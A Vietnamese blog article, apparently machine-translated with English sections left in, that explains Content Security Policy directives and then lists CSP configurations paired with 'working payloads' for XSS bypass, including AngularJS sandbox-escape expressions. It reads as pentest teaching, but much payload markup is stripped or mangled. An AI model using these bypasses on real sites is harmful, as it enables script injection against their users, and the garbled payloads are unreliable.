Content Security Policy là gì

Kỹ thuật bỏ qua nội dung-bảo mật-chính sách [CSP]

Xin chào độc giả, bài viết này là một đóng góp cho cộng đồng mạng của chúng tôi mà từ đó tôi đã thu thập được từng chút kiến ​​thức của mình. Tôi sẽ cố gắng đề cập đến tất cả các phương pháp bỏ qua CSP mà tôi đã học được cho đến nay.

CSP là gì?

CSP là viết tắt của Content Security Policy, là một cơ chế để xác định tài nguyên nào có thể được tìm nạp hoặc thực thi bởi một trang web. Nói cách khác, nó có thể hiểu là một chính sách quyết định các script, hình ảnh, iframe nào có thể được gọi hoặc thực thi trên một trang cụ thể từ các vị trí khác nhau. Chính sách bảo mật nội dung được triển khai thông qua tiêu đề phản hồi hoặc phần tử meta của trang HTML. Từ đó, trình duyệt kêu gọi tuân theo chính sách đó và chủ động chặn các vi phạm khi chúng được phát hiện.

Tại sao nó được sử dụng?

Chính sách bảo mật nội dung được sử dụng rộng rãi để bảo mật các ứng dụng web chống lại việc đưa nội dung vào như các cuộc tấn công tập lệnh trên nhiều trang web. Cũng bằng cách sử dụng CSP, máy chủ có thể chỉ định giao thức nào được phép sử dụng. Chúng ta có thể nghĩ rằng CSP là giảm thiểu XSS không? Câu trả lời là không ! CSP là một lớp bảo mật bổ sung chống lại các cuộc tấn công chèn nội dung. Tuyến phòng thủ đầu tiên là mã hóa đầu ra và xác nhận đầu vào luôn luôn. Việc triển khai CSP thành công không chỉ bảo vệ một trang web chống lại những lỗ hổng này mà còn cung cấp một loạt các chi tiết tấn công không thành công, tức là bị chính CSP chặn. Quản trị viên web có thể được hưởng lợi khi sử dụng tính năng này để phát hiện một lỗi tiềm ẩn.

Làm thế nào nó hoạt động?

CSP hoạt động bằng cách hạn chế nguồn gốc mà nội dung chủ động và thụ động có thể được tải từ đó. Nó cũng có thể hạn chế một số khía cạnh nhất định của nội dung đang hoạt động, chẳng hạn như việc thực thi JavaScript nội tuyến và việc sử dụng eval [].

Nếu bạn là nhà phát triển, bạn sẽ yêu cầu xác định tất cả các nguồn gốc được phép cho mọi loại tài nguyên mà trang web của bạn sử dụng. Giả sử bạn là chủ sở hữu của một trang web abc.com và những trang web này tải nhiều tài nguyên như script, hình ảnh, css từ localhost và các nguồn khác nhau, chẳng hạn như allow.com. Một chính sách rất cơ bản sẽ là:

Được triển khai thông qua Tiêu đề phản hồi:

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self'; script-src : This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers [ title] and XSLT stylesheets which can trigger script execution. default-src: This directive defines the policy for fetching resources by default. When fetch directives are absent in CSP header the browser follows this directive by default. Child-src: This directive defines allowed resources for web workers and embedded frame contents. connect-src: This directive restricts URLs to load using interfaces like ,fetch,websocket,XMLHttpRequest frame-src: This directive restricts URLs to which frames can be called out. frame-ancestors: This directive specifies the sources that can embed the current page. This directive applies to , , , and tags. This directive can't be used in tags and applies only to non-HTML resources. img-src: It defines allowed sources to load images on the web page. Manifest-src: This directive defines allowed sources of application manifest files. media-src: It defines allowed sources from where media objects like , and can be loaded. object-src: It defines allowed sources for the , and elements. base-uri: It defines allowed URLs which can be loaded using element. form-action: This directive lists valid endpoints for submission from tags. plugin-types: It defineslimits the kinds of mime types a page may invoke. upgrade-insecure-requests: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URL's that need to be rewritten. sandbox: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. * : This allows any URL except data: blob: filesystem: schemes self : This source defines that loading of resources on the page is allowed from the same domain. data: This source allows loading resources via the data scheme [eg Base64 encoded images] none: This directive allows nothing to be loaded from any source. unsafe-eval : This allows the use of eval[] and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason it is named as unsafe. unsafe-hashes: This allows to enable specific inline event handlers. unsafe-inline: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons. nonce: A whitelist for specific inline scripts using a cryptographic nonce [number used once]. The server must generate a unique nonce value each time it transmits a policy. Content-Security-Policy: default-src 'self'; script-src //bhaveshthakur.com; report-uri /Report-parsing-url;

Kịch bản : 1

Content-Security-Policy: script-src //facebook.com //google.com 'unsafe-inline' //*; child-src 'none'; report-uri /Report-parsing-url; working payload : "/>alert[1337]; Content-Security-Policy: script-src //facebook.com //google.com 'unsafe-eval' data: //*; child-src 'none'; report-uri /Report-parsing-url; working payload : Content-Security-Policy: script-src 'self' //facebook.com //google.com data *; child-src 'none'; report-uri /Report-parsing-url; working payloads : "/>'> "/>'> Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url; working payloads : ">'> Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url; working payloads : "/>'> Content-Security-Policy: script-src 'self' //www.google.com; object-src 'none' ; report-uri /Report-parsing-url; working payload : "> Content-Security-Policy: script-src 'self' //cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url; working payloads :
{{ x = $on.curry.call[].eval["fetch['//localhost/index.php'].then[d => {}]"] }}
">
{{$eval.constructor['alert[1]'][]}}
">
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; working payloads : ng-app"ng-csp ng-click=$event.view.alert[1337]> "> Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url; working payload : ">'>"> Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ; report-uri /_csp; upgrade-insecure-requests working payloads : * sometimes it can be achieved using defer& async attributes of script within iframe [most of the time in new browser due to SOP it fails but who knows when you are lucky?]

Cảm ơn bạn!

Nếu có bất kỳ phản hồi hoặc đề xuất nào, hãy liên hệ với tôi @ Bhavesh_Thakur_

Video liên quan

Chủ Đề